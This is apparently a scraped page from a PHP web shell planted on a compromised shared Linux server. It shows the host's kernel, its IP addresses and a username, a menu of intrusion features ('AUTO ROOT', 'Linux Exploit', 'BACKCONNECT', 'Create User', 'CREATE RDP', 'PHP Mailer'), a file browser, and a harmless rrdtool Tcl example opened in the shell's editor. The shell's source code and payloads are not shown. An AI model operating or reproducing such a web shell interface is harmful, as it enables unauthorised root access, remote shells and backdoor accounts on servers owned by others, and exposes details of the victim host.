Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
rrdtool /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
4charts.pl
2.56
KB
-rwxr-xr-x
bigtops.pl
1.16
KB
-rwxr-xr-x
cgi-demo.cgi
858
B
-rwxr-xr-x
ifOctets.tcl
1.21
KB
-rwxr-xr-x
minmax.pl
1.12
KB
-rwxr-xr-x
perftest.pl
5.75
KB
-rwxr-xr-x
piped-demo.pl
4.28
KB
-rwxr-xr-x
shared-demo.pl
5.52
KB
-rwxr-xr-x
stripes.pl
1.24
KB
-rwxr-xr-x
test.rb
1.9
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ifOctets.tcl
#!/usr/bin/env tclsh8.6 #package require Tnm 3.0 package require Rrd 1.7.2 set rrdfile "[lindex $argv 0]-[lindex $argv 1].rrd" # create rrdfile if not yet existent if {[file exists $rrdfile] == 0} { Rrd::create $rrdfile --step 5 \ DS:inOctets:COUNTER:10:U:U DS:outOctets:COUNTER:10:U:U \ RRA:AVERAGE:0.5:1:12 } # get an snmp session context set session [Tnm::snmp generator -address [lindex $argv 0]] # walk through the ifDescr column to find the right interface $session walk descr IF-MIB!ifDescr { # is this the right interface? if {"[Tnm::snmp value $descr 0]" == "[lindex $argv 1]"} { # get the instance part of this table row set inst [lindex [Tnm::mib split [Tnm::snmp oid $descr 0]] 1] # get the two interface's octet counter values set in [lindex [lindex [$session get IF-MIB!ifInOctets.$inst] 0] 2] set out [lindex [lindex [$session get IF-MIB!ifOutOctets.$inst] 0] 2] # write the values to the rrd puts "$in $out" Rrd::update $rrdfile --template inOctets:outOctets N:$in:$out Rrd::graph gaga.png --title "gaga" \ DEF:in=$rrdfile:inOctets:AVERAGE \ DEF:out=$rrdfile:outOctets:AVERAGE \ AREA:in#0000FF:inOctets \ LINE2:out#00C000:outOctets #puts [Rrd::fetch $rrdfile AVERAGE] } }
Close